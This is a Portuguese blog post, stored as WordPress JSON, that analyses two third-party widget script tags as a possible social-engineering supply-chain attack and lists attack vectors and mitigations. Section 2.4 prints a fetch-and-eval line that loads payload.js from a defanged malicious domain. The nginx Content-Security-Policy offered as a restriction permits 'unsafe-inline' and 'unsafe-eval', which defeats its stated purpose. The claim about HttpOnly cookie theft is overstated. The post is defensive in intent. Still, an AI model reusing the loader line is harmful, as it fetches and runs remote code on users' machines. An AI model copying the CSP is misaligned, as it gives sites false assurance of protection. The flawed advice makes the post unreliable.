{"id":6378,"date":"2026-01-18T14:38:39","date_gmt":"2026-01-18T17:38:39","guid":{"rendered":"https:\/\/teo.com.br\/noticias\/?p=6378"},"modified":"2026-01-12T14:42:40","modified_gmt":"2026-01-12T17:42:40","slug":"analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada","status":"publish","type":"post","link":"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/","title":{"rendered":"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Cen\u00e1rio:<\/strong>&nbsp;Tentativa de Engenharia Social para Inser\u00e7\u00e3o de C\u00f3digo JavaScript de Terceiros em Ambiente de Produ\u00e7\u00e3o.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. An\u00e1lise do Artefato Fornecido<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Os scripts solicitados apresentam m\u00faltiplos indicadores de comprometimento potencial (IOCs):<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">html<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;script async src=\"https:\/\/static.elfsightwidget.com\/platform\/platform.js\" \n        data-partner=\"hotelsreputation\"&gt;&lt;\/script&gt;\n&lt;script async src=\"https:\/\/cdn.elfstatic.com\/verify.js\" \n        data-site-id=\"12123\" \n        data-client=\"reviewsummary\" \n        data-hash=\"53e73er9f33hp5a6d310f1n1c61b7123\"&gt;&lt;\/script&gt;<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2. Vetores de Ataque Potenciais<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">2.1. Exfiltra\u00e7\u00e3o de Dados (Data Exfiltration)<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Cross-Site Leakage (XS-Leak):<\/strong>\u00a0O script pode capturar tokens de sess\u00e3o, cookies com flag\u00a0<code>HttpOnly<\/code>\u00a0via side-channel attacks<\/li>\n\n\n\n<li><strong>Keylogging Client-Side:<\/strong>\u00a0Captura de inputs em formul\u00e1rios (login, pagamento, PII)<\/li>\n\n\n\n<li><strong>DOM Scraping:<\/strong>\u00a0Coleta de conte\u00fado restrito vis\u00edvel apenas ao usu\u00e1rio autenticado<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">2.2. Manipula\u00e7\u00e3o de Sess\u00e3o<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Session Hijacking:<\/strong>\u00a0Roubo de sess\u00f5es atrav\u00e9s de\u00a0<code>document.cookie<\/code>\u00a0ou Storage API<\/li>\n\n\n\n<li><strong>Cross-Site Request Forgery (CSRF):<\/strong>\u00a0Execu\u00e7\u00e3o de a\u00e7\u00f5es privilegiadas em nome do usu\u00e1rio<\/li>\n\n\n\n<li><strong>LocalStorage\/SessionStorage Access:<\/strong>\u00a0Extra\u00e7\u00e3o de dados de aplica\u00e7\u00e3o SPA<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">2.3. Redirecionamento Malicioso<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Client-Side Redirect Chains:<\/strong>\u00a0Redirecionamentos para phishing pages<\/li>\n\n\n\n<li><strong>History Manipulation:<\/strong>\u00a0Altera\u00e7\u00e3o de\u00a0<code>window.history<\/code>\u00a0para mascarar origens<\/li>\n\n\n\n<li><strong>Window Object Hijacking:<\/strong>\u00a0Sobrescrita de\u00a0<code>window.open<\/code>\u00a0e\u00a0<code>window.location<\/code><\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">2.4. Carga \u00datil Din\u00e2mica (Dynamic Payload Loading)<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">javascript<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><em>\/\/ Possibilidade de carregamento de c\u00f3digo malicioso posterior<\/em>\nfetch('https:\/\/cdn[.]malicious-domain[.]top\/payload.js')\n  .then(response =&gt; response.text())\n  .then(code =&gt; eval(code));<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">2.5. Amea\u00e7as \u00e0 Infraestrutura<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Cryptojacking:<\/strong>\u00a0Utiliza\u00e7\u00e3o de recursos do cliente para minera\u00e7\u00e3o<\/li>\n\n\n\n<li><strong>DDoS Participation:<\/strong>\u00a0Inclus\u00e3o do cliente em botnets via WebSocket\/WebRTC<\/li>\n\n\n\n<li><strong>SEO Poisoning:<\/strong>\u00a0Inje\u00e7\u00e3o de conte\u00fado oculto para black-hat SEO<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">3. An\u00e1lise de Dom\u00ednios e TTPs (Tactics, Techniques, Procedures)<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Dom\u00ednios Identificados:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>elfsightwidget.com<\/code>\u00a0(potencialmente leg\u00edtimo, mas usado como vetor)<\/li>\n\n\n\n<li><code>elfstatic.com<\/code>\u00a0(similarity attack contra &#8220;elstatic&#8221;)<\/li>\n\n\n\n<li><code>hotelsreputation.com<\/code>\u00a0(dom\u00ednio recente, baixa reputa\u00e7\u00e3o)<\/li>\n\n\n\n<li><code>hotelwidgets.com<\/code>\u00a0(dom\u00ednio gen\u00e9rico para spear-phishing)<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>T\u00e9cnicas de Evas\u00e3o Detectadas:<\/strong><\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>Obfusca\u00e7\u00e3o de Origem:<\/strong>\u00a0Uso de CDNs aparentemente leg\u00edtimas<\/li>\n\n\n\n<li><strong>Atributo\u00a0<code>async<\/code>:<\/strong>\u00a0Dificulta an\u00e1lise s\u00edncrona do c\u00f3digo<\/li>\n\n\n\n<li><strong>Data Attributes:<\/strong>\u00a0Passagem de par\u00e2metros potencialmente maliciosos<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">4. Impacto T\u00e9cnico Espec\u00edfico<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">4.1. Viola\u00e7\u00e3o de CSP (Content Security Policy)<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">http<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># Viola\u00e7\u00f5es esperadas se CSP estiver configurado\nContent-Security-Policy: script-src 'self';<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>O script externo violaria pol\u00edticas restritivas<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">4.2. Comprometimento de SRI (Subresource Integrity)<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">html<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;script src=\"https:\/\/...\" \n        integrity=\"sha256-...\"&gt;<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Aus\u00eancia de hash SRI permite modifica\u00e7\u00e3o em tr\u00e2nsito<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">4.3. Vazamento de Informa\u00e7\u00f5es Corporativas<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Exposure de APIs Internas:<\/strong>\u00a0Endpoints descobertos via\u00a0<code>XMLHttpRequest<\/code><\/li>\n\n\n\n<li><strong>Reconhecimento de Tecnologias:<\/strong>\u00a0Fingerprinting de stack tecnol\u00f3gica<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">5. Recomenda\u00e7\u00f5es T\u00e9cnicas de Mitiga\u00e7\u00e3o<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">5.1. Valida\u00e7\u00e3o de Requisi\u00e7\u00f5es<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">javascript<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><em>\/\/ Implementa\u00e7\u00e3o de whitelist de dom\u00ednios aprovados<\/em>\nconst ALLOWED_CDNS = [\n  'https:\/\/cdn.trusted-domain.com'\n];\n\nfunction validateScriptRequest(url) {\n  return ALLOWED_CDNS.some(allowed =&gt; url.startsWith(allowed));\n}<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">5.2. Configura\u00e7\u00e3o de Seguran\u00e7a<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">nginx<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><em># Configura\u00e7\u00e3o nginx para restri\u00e7\u00e3o<\/em>\nadd_header Content-Security-Policy \"\n  script-src 'self' 'unsafe-inline' 'unsafe-eval';\n  style-src 'self';\n  connect-src 'self';\n\" always;<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">5.3. Monitoramento Post-Implanta\u00e7\u00e3o<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">javascript<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><em>\/\/ Detec\u00e7\u00e3o de altera\u00e7\u00f5es no DOM<\/em>\nconst observer = new MutationObserver((mutations) =&gt; {\n  mutations.forEach((mutation) =&gt; {\n    if (mutation.addedNodes.length) {\n      checkForMaliciousNodes(mutation.addedNodes);\n    }\n  });\n});<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">6. Fluxo de Aprova\u00e7\u00e3o Seguro (Secure Deployment Pipeline)<\/h3>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>An\u00e1lise Est\u00e1tica de C\u00f3digo:<\/strong>\u00a0SAST tools para JavaScript<\/li>\n\n\n\n<li><strong>Sandboxing:<\/strong>\u00a0Execu\u00e7\u00e3o em ambiente isolado (Docker, VM)<\/li>\n\n\n\n<li><strong>An\u00e1lise de Tr\u00e1fego de Rede:<\/strong>\u00a0Inspe\u00e7\u00e3o de requisi\u00e7\u00f5es de terceiros<\/li>\n\n\n\n<li><strong>Revis\u00e3o de Permiss\u00f5es:<\/strong>\u00a0Verifica\u00e7\u00e3o de APIs acess\u00edveis<\/li>\n\n\n\n<li><strong>Assinatura de C\u00f3digo:<\/strong>\u00a0Requisito de assinatura digital para scripts<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Vis\u00e3o T\u00e9cnica Final<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">O caso apresentado demonstra um&nbsp;<strong>ataque de cadeia de suprimentos (supply chain attack)<\/strong>&nbsp;sofisticado, utilizando engenharia social para contornar controles de seguran\u00e7a. A implanta\u00e7\u00e3o deste c\u00f3digo resultaria em:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>Comprometimento Completo do Client-Side<\/strong><\/li>\n\n\n\n<li><strong>Viola\u00e7\u00e3o de LGPD\/GDPR<\/strong>\u00a0atrav\u00e9s de coleta n\u00e3o autorizada<\/li>\n\n\n\n<li><strong>Perda de Confian\u00e7a do Cliente Final<\/strong><\/li>\n\n\n\n<li><strong>Impacto SEO e de Reputa\u00e7\u00e3o<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Recomenda\u00e7\u00e3o Final:<\/strong>&nbsp;Manter o procedimento de verifica\u00e7\u00e3o em duas etapas (2FA para implanta\u00e7\u00f5es) e implementar uma pol\u00edtica formal de&nbsp;<strong>Third-Party Script Governance<\/strong>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada Cen\u00e1rio:&nbsp;Tentativa de Engenharia Social para Inser\u00e7\u00e3o de C\u00f3digo JavaScript de Terceiros em Ambiente de Produ\u00e7\u00e3o. 1. An\u00e1lise do Artefato&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[369],"tags":[470,471,469,468,208],"class_list":["post-6378","post","type-post","status-publish","format-standard","hentry","category-incendio","tag-elfsignt","tag-email","tag-hotelsreputation","tag-hotelwidgets","tag-seguranca"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.0.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada Cen\u00e1rio: Tentativa de Engenharia Social para Inser\u00e7\u00e3o de C\u00f3digo JavaScript de Terceiros em Ambiente de Produ\u00e7\u00e3o. 1. An\u00e1lise do Artefato Fornecido Os scripts solicitados apresentam m\u00faltiplos indicadores de comprometimento potencial (IOCs): html 2. Vetores de\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"teocosta\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.0.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"pt_BR\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Teo - Head TI - DPO\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada - Teo\" \/>\n\t\t<meta property=\"og:description\" content=\"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada Cen\u00e1rio: Tentativa de Engenharia Social para Inser\u00e7\u00e3o de C\u00f3digo JavaScript de Terceiros em Ambiente de Produ\u00e7\u00e3o. 1. An\u00e1lise do Artefato Fornecido Os scripts solicitados apresentam m\u00faltiplos indicadores de comprometimento potencial (IOCs): html 2. Vetores de\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/teo.com.br\/wp-content\/uploads\/2024\/03\/cropped-teo.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/teo.com.br\/wp-content\/uploads\/2024\/03\/cropped-teo.jpg\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2026-01-18T17:38:39+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2026-01-12T17:42:40+00:00\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:title\" content=\"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada - Teo\" \/>\n\t\t<meta name=\"twitter:description\" content=\"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada Cen\u00e1rio: Tentativa de Engenharia Social para Inser\u00e7\u00e3o de C\u00f3digo JavaScript de Terceiros em Ambiente de Produ\u00e7\u00e3o. 1. An\u00e1lise do Artefato Fornecido Os scripts solicitados apresentam m\u00faltiplos indicadores de comprometimento potencial (IOCs): html 2. Vetores de\" \/>\n\t\t<meta name=\"twitter:image\" content=\"https:\/\/teo.com.br\/wp-content\/uploads\/2024\/03\/cropped-teo.jpg\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/2026\\\/01\\\/18\\\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\\\/#blogposting\",\"name\":\"An\\u00e1lise de Risco T\\u00e9cnico: Inje\\u00e7\\u00e3o de C\\u00f3digo JavaScript de Origem N\\u00e3o-Verificada - Teo\",\"headline\":\"An\\u00e1lise de Risco T\\u00e9cnico: Inje\\u00e7\\u00e3o de C\\u00f3digo JavaScript de Origem N\\u00e3o-Verificada\",\"author\":{\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/author\\\/temcosta\\\/#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/#organization\"},\"datePublished\":\"2026-01-18T14:38:39-03:00\",\"dateModified\":\"2026-01-12T14:42:40-03:00\",\"inLanguage\":\"pt-BR\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/2026\\\/01\\\/18\\\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\\\/#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/2026\\\/01\\\/18\\\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\\\/#webpage\"},\"articleSection\":\"Incendio, elfsignt, email, hotelsreputation, HotelWidgets, seguranca\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/2026\\\/01\\\/18\\\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\\\/#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/teo.com.br\\\/noticias\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/categoria\\\/incendio\\\/#listItem\",\"name\":\"Incendio\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/categoria\\\/incendio\\\/#listItem\",\"position\":2,\"name\":\"Incendio\",\"item\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/categoria\\\/incendio\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/2026\\\/01\\\/18\\\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\\\/#listItem\",\"name\":\"An\\u00e1lise de Risco T\\u00e9cnico: Inje\\u00e7\\u00e3o de C\\u00f3digo JavaScript de Origem N\\u00e3o-Verificada\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/2026\\\/01\\\/18\\\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\\\/#listItem\",\"position\":3,\"name\":\"An\\u00e1lise de Risco T\\u00e9cnico: Inje\\u00e7\\u00e3o de C\\u00f3digo JavaScript de Origem N\\u00e3o-Verificada\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/categoria\\\/incendio\\\/#listItem\",\"name\":\"Incendio\"}}]},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/#organization\",\"name\":\"Teo Costa - Tecnologia e Solu\\u00e7\\u00f5es Corporativas em Seguran\\u00e7a Contra Inc\\u00eandio Pesquisa de Satisfa\\u00e7\\u00e3o\",\"description\":\"Head TI - DPO\",\"url\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/author\\\/temcosta\\\/#author\",\"url\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/author\\\/temcosta\\\/\",\"name\":\"teocosta\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/2026\\\/01\\\/18\\\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\\\/#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/9eaa33a8942fc7cb0be99e3b8f5a8f798b4647876bd8c39ebfc4b1f5753beac2?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"teocosta\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/2026\\\/01\\\/18\\\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\\\/#webpage\",\"url\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/2026\\\/01\\\/18\\\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\\\/\",\"name\":\"An\\u00e1lise de Risco T\\u00e9cnico: Inje\\u00e7\\u00e3o de C\\u00f3digo JavaScript de Origem N\\u00e3o-Verificada - Teo\",\"description\":\"An\\u00e1lise de Risco T\\u00e9cnico: Inje\\u00e7\\u00e3o de C\\u00f3digo JavaScript de Origem N\\u00e3o-Verificada Cen\\u00e1rio: Tentativa de Engenharia Social para Inser\\u00e7\\u00e3o de C\\u00f3digo JavaScript de Terceiros em Ambiente de Produ\\u00e7\\u00e3o. 1. An\\u00e1lise do Artefato Fornecido Os scripts solicitados apresentam m\\u00faltiplos indicadores de comprometimento potencial (IOCs): html 2. Vetores de\",\"inLanguage\":\"pt-BR\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/2026\\\/01\\\/18\\\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\\\/#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/author\\\/temcosta\\\/#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/author\\\/temcosta\\\/#author\"},\"datePublished\":\"2026-01-18T14:38:39-03:00\",\"dateModified\":\"2026-01-12T14:42:40-03:00\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/#website\",\"url\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/\",\"name\":\"Teo Costa - Tecnologia e Solu\\u00e7\\u00f5es Corporativas em Seguran\\u00e7a Contra Inc\\u00eandio Pesquisa de Satisfa\\u00e7\\u00e3o\",\"description\":\"Head TI - DPO\",\"inLanguage\":\"pt-BR\",\"publisher\":{\"@id\":\"https:\\\/\\\/teo.com.br\\\/noticias\\\/#organization\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada - Teo","description":"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada Cen\u00e1rio: Tentativa de Engenharia Social para Inser\u00e7\u00e3o de C\u00f3digo JavaScript de Terceiros em Ambiente de Produ\u00e7\u00e3o. 1. An\u00e1lise do Artefato Fornecido Os scripts solicitados apresentam m\u00faltiplos indicadores de comprometimento potencial (IOCs): html 2. Vetores de","canonical_url":"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/#blogposting","name":"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada - Teo","headline":"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada","author":{"@id":"https:\/\/teo.com.br\/noticias\/author\/temcosta\/#author"},"publisher":{"@id":"https:\/\/teo.com.br\/noticias\/#organization"},"datePublished":"2026-01-18T14:38:39-03:00","dateModified":"2026-01-12T14:42:40-03:00","inLanguage":"pt-BR","mainEntityOfPage":{"@id":"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/#webpage"},"isPartOf":{"@id":"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/#webpage"},"articleSection":"Incendio, elfsignt, email, hotelsreputation, HotelWidgets, seguranca"},{"@type":"BreadcrumbList","@id":"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/teo.com.br\/noticias#listItem","position":1,"name":"Home","item":"https:\/\/teo.com.br\/noticias","nextItem":{"@type":"ListItem","@id":"https:\/\/teo.com.br\/noticias\/categoria\/incendio\/#listItem","name":"Incendio"}},{"@type":"ListItem","@id":"https:\/\/teo.com.br\/noticias\/categoria\/incendio\/#listItem","position":2,"name":"Incendio","item":"https:\/\/teo.com.br\/noticias\/categoria\/incendio\/","nextItem":{"@type":"ListItem","@id":"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/#listItem","name":"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada"},"previousItem":{"@type":"ListItem","@id":"https:\/\/teo.com.br\/noticias#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/#listItem","position":3,"name":"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada","previousItem":{"@type":"ListItem","@id":"https:\/\/teo.com.br\/noticias\/categoria\/incendio\/#listItem","name":"Incendio"}}]},{"@type":"Organization","@id":"https:\/\/teo.com.br\/noticias\/#organization","name":"Teo Costa - Tecnologia e Solu\u00e7\u00f5es Corporativas em Seguran\u00e7a Contra Inc\u00eandio Pesquisa de Satisfa\u00e7\u00e3o","description":"Head TI - DPO","url":"https:\/\/teo.com.br\/noticias\/"},{"@type":"Person","@id":"https:\/\/teo.com.br\/noticias\/author\/temcosta\/#author","url":"https:\/\/teo.com.br\/noticias\/author\/temcosta\/","name":"teocosta","image":{"@type":"ImageObject","@id":"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/9eaa33a8942fc7cb0be99e3b8f5a8f798b4647876bd8c39ebfc4b1f5753beac2?s=96&d=mm&r=g","width":96,"height":96,"caption":"teocosta"}},{"@type":"WebPage","@id":"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/#webpage","url":"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/","name":"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada - Teo","description":"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada Cen\u00e1rio: Tentativa de Engenharia Social para Inser\u00e7\u00e3o de C\u00f3digo JavaScript de Terceiros em Ambiente de Produ\u00e7\u00e3o. 1. An\u00e1lise do Artefato Fornecido Os scripts solicitados apresentam m\u00faltiplos indicadores de comprometimento potencial (IOCs): html 2. Vetores de","inLanguage":"pt-BR","isPartOf":{"@id":"https:\/\/teo.com.br\/noticias\/#website"},"breadcrumb":{"@id":"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/#breadcrumblist"},"author":{"@id":"https:\/\/teo.com.br\/noticias\/author\/temcosta\/#author"},"creator":{"@id":"https:\/\/teo.com.br\/noticias\/author\/temcosta\/#author"},"datePublished":"2026-01-18T14:38:39-03:00","dateModified":"2026-01-12T14:42:40-03:00"},{"@type":"WebSite","@id":"https:\/\/teo.com.br\/noticias\/#website","url":"https:\/\/teo.com.br\/noticias\/","name":"Teo Costa - Tecnologia e Solu\u00e7\u00f5es Corporativas em Seguran\u00e7a Contra Inc\u00eandio Pesquisa de Satisfa\u00e7\u00e3o","description":"Head TI - DPO","inLanguage":"pt-BR","publisher":{"@id":"https:\/\/teo.com.br\/noticias\/#organization"}}]},"og:locale":"pt_BR","og:site_name":"Teo - Head TI - DPO","og:type":"article","og:title":"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada - Teo","og:description":"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada 